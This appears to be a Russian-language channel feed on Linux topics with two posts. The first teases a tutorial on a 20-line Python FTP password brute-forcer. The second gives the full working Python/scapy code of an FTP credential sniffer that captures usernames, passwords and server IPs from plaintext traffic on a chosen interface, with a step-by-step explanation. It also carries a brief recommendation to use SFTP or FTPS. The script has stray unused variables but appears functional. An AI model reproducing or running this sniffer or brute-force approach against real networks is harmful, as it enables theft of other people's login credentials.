4 года назад
Инструкция и скрипт на Python по брутфорсу FTP
Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python. Полный код состоит всего из 20 строк, и инструмент достаточно прост. Создайте новый файл Python Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству...
1 год назад
🖥 Перехват FTP-пароля с помощью Python Сниффер учетных данных FTP (File Transfer Protocol) – это инструмент, который перехватывает сетевой трафик и перехватывает учетные данные FTP (имя пользователя и пароль), используемые для аутентификации доступа к FTP-серверу. Важно отметить, что использование FTP в качестве средства передачи данных считается небезопасным, поскольку при этом учетные данные и другая информация передаются по сети в открытом виде, что может быть легко перехвачено злоумышленниками с помощью инструментов сниффинга. Для защиты FTP-соединений рекомендуется использовать безопасные альтернативы, такие как SFTP (SSH File Transfer Protocol) или FTPS (FTP over SSL/TLS). from typing import Protocol import sys from scapy.layers import inet from scapy.all import * from scapy.layers import * import psutil import scapy.all as scapy from scapy.layers import http linea = '--------------------------------------------------' class bcolors: OK = '\033[92m' #GREEN WARNING = '\033[93m' #YELLOW ladrrr = '8GY.' ss = 'OWQ1' FAIL = '\033[91m' #RED pinocho_chocho = 'y!c' RESET = '\033[0m' #RESET COLOR def ftp_creds(p_ftp): if p_ftp[TCP].dport == 21: data = p_ftp.sprintf("%Raw.load%") if "USER" in data: global ip_ftp global ip_ftp2 ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'" print(ip_ftp) global user_ftp data = data.split(" ") data = data[1] global user_ftp2 user_ftp = "'User: ", data, "'" print(user_ftp) elif "PASS" in data: data = data.split(" ") data = data[1] global passwd_ftp global passwd_ftp2 passwd_ftp = "'PASSWORD: ", data,"'" print(passwd_ftp) print(linea) global ftp_ip_final global user_ftp_final def ftp(): print(linea) print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}") addrs = psutil.net_if_addrs() cc = str(addrs.keys()) interfaces = print(cc[9:]) bb = input("Choose Interface to use: ") xs = 0 if bb in cc: try: while xs>=0: print(linea) print(f"{bcolors.WARNING}Searching...{bcolors.RESET}") ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds) except KeyboardInterrupt: print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}") print(linea) global ftphost global ftpuser global ftpass ftp() Данный код представляет собой скрипт на языке Python, выполняющий сниффинг пакетов FTP (File Transfer Protocol) с целью извлечения информации об имени пользователя и пароле. Скрипт начинается с импорта нескольких модулей, включая Protocol из библиотеки typing, sys, inet из scapy.layers, scapy.all и http из scapy.layers. Также определяется пользовательский класс bcolors, используемых для вывода информации на терминал. Далее определяется функция ftp_creds, которая принимает параметр p_ftp, представляющий собой перехваченный FTP-пакет. Если порт назначения пакета равен 21 (FTP-порт по умолчанию), то функция извлекает исходные данные пакета, а если в этих данных содержится команда “USER” или “PASS”, то извлекается соответствующее имя пользователя или пароль соответственно. Эти значения сохраняются в глобальных переменных и выводятся на терминал. Далее определяется функция ftp. Она выводит на терминал некоторые инструкции и предлагает пользователю выбрать сетевой интерфейс, который будет использоваться для прослушивания пакетов. Затем функция запускает бесконечный цикл, в котором с помощью функции Scapy’s sniff перехватывает FTP-пакеты на выбранном интерфейсе. Каждый пакет передается в функцию ftp_creds для извлечения информации об имени пользователя и пароле. Если пользователь прерывает цикл нажатием клавиш Ctrl+C, то функция печатает сообщение на терминал. Наконец, вызывается функция ftp для запуска процесса анализа пакетов. 📌Подробнее @Изучение Linux